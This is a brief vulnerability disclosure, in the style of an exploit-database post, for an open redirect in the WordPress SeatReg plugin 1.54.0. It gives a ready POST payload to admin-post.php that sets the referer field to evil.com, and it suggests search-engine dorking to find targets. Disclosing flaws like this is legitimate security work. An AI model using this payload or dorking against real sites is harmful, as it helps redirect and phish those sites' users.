WordPress SeatReg plugin version 1.54.0 suffers from an open redirection vulnerability.
=============================================================================================================================================
| # Title : WordPress SeatReg plugin 1.54.0 open redirection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://wordpress.org/plugins/seatreg/ |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] An Open Redirection is a vulnerability when a web application or server
uses an unvalidated user-submitted link to redirect the user to a given
website or page.
[+] USe Payload : new-registration-name=dedeed&action=seatreg_create_submit&seatreg-admin-nonce=11b1308e8a&*_wp_http_referer=https://evil.com
[+] POST /wp-admin/admin-post.php HTTP/1.1
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
